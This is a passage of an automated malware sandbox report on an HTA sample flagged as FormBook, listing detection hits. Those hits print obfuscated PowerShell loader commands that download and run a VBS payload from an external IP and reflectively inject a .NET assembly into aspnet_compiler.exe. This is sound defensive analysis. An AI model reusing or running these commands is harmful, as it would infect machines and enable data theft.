zIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8
                  Sigma detected: Suspicious MSHTA Child Process
                  Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA
                  Sigma detected: WScript or CScript Dropper
                  Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , ProcessId: 5552, ProcessName: wscript.exe
                  Sigma detected: AspNetCompiler Execution
                  Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3004, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe", ProcessId: 4976, ProcessName: aspnet_compiler.exe
                  Sigma detected: Dynamic .NET Compilation Via Csc.EXE
                  Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline", ProcessId: 4540, ProcessName: csc.exe
                  Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                  Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6600, TargetFilename: C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS
                  Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                  Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seemybestthingswhatdoingforbe.vbS" , ProcessId: 5552, ProcessName: wscript.exe
                  Sigma detected: Dynamic CSharp Compile Artefact
                  Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6600, TargetFilename: C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline
                  Sigma detected: Non Interactive PowerShell Process Spawned
                  Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", CommandLine: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgI

                  Data Obfuscation

                  barindex
                  Sigma detected: Dot net compiler compiles file from suspicious location
                  Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6600, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline", ProcessId: 4540, ProcessName: csc.exe

                  Suricata Signatures

                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-07T15:47:36.172659+010020576351A Network Trojan was detected172.245.123.2980192.168.2.649760TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-07T15:47:36.172659+010028582951A Network Trojan was detected172.245.123.2980192.168.2.649760TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-07T15:47:46.234065+010028587951A Network Trojan was detected192.168.2.649710172.245.123.2980TCP

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Antivirus detection for URL or domain
                  Source: http://172.245.123.29/770/seemybestthingswhatdoingforbetter.tIFAvira URL Cloud: Label: malware
                  Multi AV Scanner detection for submitted file
                  Source: seemybestdayguvenu.htaReversingLabs: Detection: 21%
                  Yara detected FormBook
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 12.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
